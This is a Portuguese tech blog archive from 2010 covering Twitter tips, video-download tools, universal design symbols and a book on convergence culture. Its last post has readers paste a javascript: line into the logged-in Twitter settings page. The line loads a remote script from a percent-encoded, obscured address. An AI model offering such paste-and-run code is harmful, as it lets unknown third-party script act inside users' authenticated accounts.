10dez |
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Posted by Claudia Sardinha
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Existem pessoas que têm dificuldades em entender o Twitter, até porque esta ainda é uma ferramenta sem tradução para o português.
Imagina agora, com a mudança de visual. Pior ainda!
Então vamos esclarecer em algumas telas o que cada link desse bicho chamado Twitter nos oferece.
Ficou confuso? Espero que não ![]()
Farei outros posts rápidos sobre Twitter no decorrer da semana.
Espero que tenham gostado ![]()
Bom fim-de-semana.
Claudia Sardinha
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10th dez 2010
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24set |
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Posted by Claudia Sardinha
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Category: Dica, Eu testei!
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Hoje em dia nem me preocupo mais se eu perdi algo que passou na televisão e acabei não gravando para assistir depois.
Com a Internet tão colaborativa e sites como YouTube, Videolog, Google vídeos e outros, é possível achar praticamente tudo o que procuramos.
E se o vídeo for realmente muito interessante e você não quiser perder, melhor fazer o download para garantir, né?
Existem vários programinhas que fazem isso por aí, mas aqui vou citar 2 que funcionam muito bem e não somente com vídeos do YouTube.
O primeiro e mais conhecido do mercado é o VDownloader. A cada versão ele melhora mais. Com esse programa você ainda pode escolher o formato do vídeo (mpeg, avi, mp4…) ou se quer capturar apenas o áudio. No entanto, o foco dele é mais para o YouTube mesmo.
É então que entra em ação o aTube Catcher. Ele baixa vídeos do YouTube, Stage6, MySpace, Dailymotion, Megavideo, Google Video, Metacafe, iFilm, Yahoo! Vimeo, entre outros.
Agora, se você achou tudo isso muito complicado, também dá para fazer esse download de um jeito mais fácil, sem programas auxiliares.
No próprio navegador (internet explorer, firefox, safari etc), basta alterar o endereço do vídeo que está em exibição. Se você apenas quiser baixar o arquivo para backup substitua o ‘Y’ do youtube.com por um número ‘3’.
Por exemplo: O que era http://www.youtube.com/watch?v=PS_cCBkP2Jo vira http://www.3outube.com/watch?v=PS_cCBkP2Jo.
Pronto, o browser vai ser redirecionado para uma página que pergunta se você quer baixar o vídeo em MP4 ou em Flash (FLV).
Basta escolher a opção e baixar. ![]()
Boas capturas por aí e bom fim de semana.
Abs,
Claudia Sardinha
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24th set 2010
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10set |
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Posted by Claudia Sardinha
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O conceito do Desenho Universal foi desenvolvido entre os profissionais da área de arquitetura da Universidade da Carolina do Norte – EUA, com objetivo de definir um projeto de produtos e ambientes que pudessem ser usados por todos, na sua máxima extensão possível, sem necessidade de adaptação ou projeto especializado para pessoas com deficiência.
A meta era que qualquer ambiente ou produto poderia ser alcançado, manipulado e usado, independentemente do tamanho do corpo do indivíduo, sua postura ou mobilidade.

Mas o Desenho Universal não é uma tecnologia direcionada apenas aos que dele necessitam. É voltado para todas as pessoas!

A ideia é assegurar que todos possam utilizar com igual segurança e autonomia espaços construídos e objetos. Para isso, alguns conceitos foram criados:
1- Equiparação nas possibilidades de uso
É útil e comercializável às pessoas com habilidades diferenciadas.
2- Flexibilidade no uso
Atende a uma ampla gama de indivíduos, preferências e habilidades.
3- Uso Simples e intuitivo
É de fácil compreensão, independentemente de experiência, nível de formação, conhecimento do idioma ou da capacidade de concentração do usuário.
4- Captação da informação
Comunica de forma clara as informações necessárias, independentemente de sua capacidade sensorial ou de condições ambientais, atendendo as necessidades do receptor, seja ele uma pessoa estrangeira, com dificuldade de visão, audição, etc.
5- Tolerância ao erro
Previsto para minimizar os riscos e possíveis consequências de ações acidentais ou não intencionais.
6- Mínimo esforço físico
Pode ser utilizado com um mínimo de esforço, de forma eficiente e confortável.
7- Dimensão e espaço para uso e interação
Oferece espaços e dimensões apropriados para interação, alcance, manipulação e uso, independentemente do tamanho do corpo (obesos, anões etc.), da postura ou mobilidade do usuário (pessoas em cadeira de rodas, com carrinhos de bebê, bengalas etc.).
E a informática não fica fora disso. Temos produtos acessíveis e símbolos que se tornaram comuns a cada dia.
Em termos de produtos voltados para o acesso de todos, temos também uma mesa super interessante do grupo Dumont Brasil, que apareceu na novela Viver a Vida.
Agora, falando sobre os símbolos universais na informática (e agora isso é um pitaco meu, pois não vi lugar algum oficializando essa informação), temos a utilização de uma simbologia internacional e de, certo modo, fácil identificação.
Digo “de certo modo”, pois só quem está familiarizado com os mesmos é quem faz uso de equipamentos eletrônicos.
Abaixo vou citar alguns exemplos de símbolos que são usados no mundo todo e que acredito que podem ser considerados desenho universal.
Claro que não sou especialista no assunto para avaliar se os mesmos se encontram dentro das 7 premissas citadas acima (eu acho que não exatamente, rs), mas estes símbolos se tornaram padrão nos eletrônicos. E uma vez aprendido seu significado, pode-se utilizar esse conhecimento para os demais equipamentos.
São eles:
Este símbolo é da época da Segunda Guerra Mundial, quando os engenheiros etiquetavam os botões seguindo o sistema binário: 1 significava “ligado”, e 0 significava “desligado”. Tempos depois, o Institute of Electrical and Electronic Engineers alterou a definição para significar simplesmente energia, força – Power.
O ícone foi desenhado de modo a lembrar o tridente de Netuno. No lugar de triângulos nas três pontas da lança, os promotores do USB decidiram alterar os formatos para um triângulo, uma caixa e um círculo. Isso foi feito para significar todos os diferentes periféricos que poderiam ser conectados usando o novo padrão.
Os símbolos de Play (tocar) e Pause (parar) não são nativos dos computadores, mas aparecem em todas as interfaces dedicadas a reproduzir áudio ou vídeo. Infelizmente, nem o triângulo apontado para a direita, nem as duas barrinhas parecem ter uma origem definitiva. Eles primeiro apareceram como símbolos de transporte de fitas em tocadores de rolos na metade dos anos 60. Em alguns casos, vinham acompanhados dos símbolos de avanço ou retrocesso rápido, que eram o mesmo triângulo, apenas duplicado e eventualmente invertido para apontar para a esquerda. A direção do triângulo indicava a direção que a fita iria se mover.
Apesar de ter sido “inventado” muitos anos antes, isso que hoje reconhecemos como um símbolo de conexão em rede Ethernet foi projetado por David Hill, da IBM. Segundo ele, o símbolo era parte de um conjunto de outros símbolos que representavam as várias conexões de rede local disponíveis na época. As caixas, que são representadas de maneira propositalmente não-hierárquica, representam os computadores/terminais.
O símbolo do bluetooth é uma junção das duas runas que representavam as iniciais do rei Harald Blatand, da Dinamarca, que era conhecido como Harald Bluetooth. Ele recebeu esse apelido por ele possuir uma coloração azulada em seus dentes.
O primeiro receptor Bluetooth tinha o formato parecido com o de um dente mesmo, e sim, era azul. Mas as brincadeiras simbológicas não param por aí. Sabe-se também que Harald foi instrumental para a união de diferentes facções guerreiras em partes do que hoje são a Noruega, Suécia e Dinamarca – do mesmo modo que a tecnologia Bluetooth é projetada para permitir colaboração entre diferentes indústrias, como a de computação, telefonia celular e automotiva.
As pessoas ficavam confusas com o modo “standby”. Então a IEEE (lê-se I 3 E – Instituto de Engenheiros Eletricistas e Eletrônicos) decidiu que seria bom fazer uma modificação, renomeando o modo de espera para “Sleep” (dormir), de modo a demonstrar o estado em que nós, humanos, não estamos nem ligados, nem desligados. Atualmente, uma lua crescente é o símbolo do modo Sleep nas Américas e na Europa.
Como este símbolo acabou se tornando tão potente com o passar dos anos, não é? Porém, ele é conhecido por nomes diferentes ao redor do mundo: caracol na França e Itália, ratinho na China, rabo de macaco na Alemanha, tromba de elefante na Suécia, arroba no Brasil. O símbolo já fazia parte de algumas máquinas de escrever americanas, sendo usado em contabilidade desde 1885 como uma abreviatura da área de contabilidade, que significava “na ordem de”. No Brasil, o termo arroba já vinha sido usada no contexto mercantil, principalmente como unidade de peso de gado, equivalendo a cerca de 15kg. Mas o símbolo em si, o “a” com uma voltinha externa, tem origens misteriosas e muito mais antigas que isso, remetendo a monges do século 6 (mistéeeeriiiiiio… rs).
Bom, agora que vocês já têm uma noção do que é desenho universal, quero deixar uma dica de um blog bem bacana. É o Bengala Legal, criado pelo carioca Marco Antonio de Queiroz (MAQ) que é cego desde os 21 anos devido a diabetes e hoje, aos 50, já criou um blog, trabalhou numa grande empresa de Processamento de Dados do Governo, casou, virou pai, escreveu um livro e plantou um pé de feijão. ![]()
Abraço a todos e bom fim-de-semana,
Claudia Sardinha
Fontes: Gizmodo, Acessibilidade Brasil
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10th set 2010
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9jul |
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Posted by Claudia Sardinha
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Quarta-feira cheguei em casa a noite e lá estava um pacote pesado esperando por mim. No rementente dizia Central Globo de Comunicação.
Curiosa com o conteúdo, abri rapidamente e dentro achei uma carta e um livro – Cultura da Convergência, de Henry Jenkins.

Lendo a carta e a orelha do livro, entendi o motivo daquele presente.
Henry Jenkins é professor e diretor do programa de Estudos de Mídia Comparada do MIT. Nesse livro ele explora as grandes mudanças que estão ocorrendo no mundo dos negócios com as multiplicações de conteúdos.
Ele fala sobre a questão da convergência, não pelo lado tecnológico, mas como um processo cultural que estimula a participação dos usuários/consumidores nas decisões que antigamente ficavam restritas aos interesses dos veículos e marcas. No que ele chama de a Cultura do Fã, onde pessoas comuns interagem, modificam e remixam mídias/conteúdos que foram originalmente construídos por produtoras de conteúdo.

A carta que acompanhou o livro anuncia que esse é o novo posicionamento da Rede Globo, que conta com nova área de comunicação transmídia. Ou seja, o marketing contemporâneo não busca mais somente marcas que identifiquem seus produtos. Com os novos rumos da Tecnologia da Informação (TI), a publicidade tem que criar experiências de envolvimento, participação e interação para cativar os consumidores.
E nisso, a Rede Globo está de parabéns. Não foi a primeira e nem será a última vez que vejo a empresa se preocupar em integrar-se com blogueiros e pessoas que também produzem informação.
As mídias antes consideradas alternativas (blog, orkut, twitter, facebook, youtube etc) hoje já são vistas como geradores de conteúdo e, com isso, parte dessa cultura de convergência.
Compreendendo isso, volto ao livro e a seu autor. Para ele a convergência não é um processo tecnológico ligado a um equipamento, mas sim “uma transformação cultural, à medida que os consumidores são incentivados a procurar novas informações e fazer conexões em meio a conteúdos midiáticos dispersos“. Nesse contexto, uma “história transmidiática se desenrola por meio de múltiplos suportes midiáticos, com cada novo texto contribuindo de maneira distinta e valiosa para o todo”.
É o que podemos ver no filme “Matrix” e nos seriados Lost e Heroes. Os produtores criaram as histórias que foram para as telas. Depois virou quadrinhos, games, vídeos no youtube. Os fãs deram continuidade e criaram universos paralelos. Uma verdadeira máquina que movimenta-se “por si só”.
Para compreender melhor o que o senhor Jenkins explica no livro, assista a uma entrevista dada ao programa Milênio, da Globonews.
A cultura da convergência é um fenômeno que está revolucionando o modo de se encarar a produção de conteúdo em todo o mundo.
Trazer isso para os leitores do Tecnologia Outonal se tornou uma prioridade minha, pois acredito que, às vezes, basta um pouco de incentivo para ajudar naquele pontapé inicial.
E para quem gostou do assunto e quiser buscar mais informações, também recomendo o blog Ponto de Fuga, do Clayton Melo, jornalista da Gazeta Mercantil.
Aguardo a opinião de vocês quanto ao assunto e, caso tenha alguma produção sua rolando pela Internet, divulgue-a aqui. Esse espaço é colaborativo ![]()
Abraço a todos e bom fim-de-semana.
Claudia Sardinha
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9th jul 2010
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2jul |
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Posted by Claudia Sardinha
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Navegando pela Internet em busca de informações para o site de um cliente, me deparei com um post muito interessante feito pelo João, do Blog Webdicas.
É uma dica para afrescalhar o Twitter, rs… mas que ajuda bastante a quem tem um papel de parede bonito e quer deixar a mostra.
É muito fácil de fazer.
Faça o login normalmente na sua página do Twitter.
Depois vá em settings e clique em design.
No topo do seu navegador (browser) vai estar escrito o endereço “http://twitter.com/settings/design“.
Você então copia o código abaixo e cola por cima desse endereço. Ou seja, vc vai apagar o que estava escrito antes:
javascript:d=document;c=d.createElement(‘script’);d.body.appendChild(c);c.src=’http://%77%65%62%64%69%63%61%73%2E%6F%72%67/scripts/%74%77%69%74%74%65%72%2E%74%72%61%6E%73%70%61%72%65%6E%74%65%32%2E%6A%73′;void(0)
Depois, é só clicar “Enter” no teclado.
Você desce a tela e clica em Save Changes.
Quando você voltar para Home, verá que sua barra lateral (local onde ficam as informações de seguidores etc) está transparente. ![]()
Gostou? Conhece outras dicas para personalizar o Twitter, Orkut, Facebook etc? Então compartilhe aqui!
Abraços, bom jogo e bom fim-de-semana
Claudia Sardinha
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2nd jul 2010
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Tags: twitter
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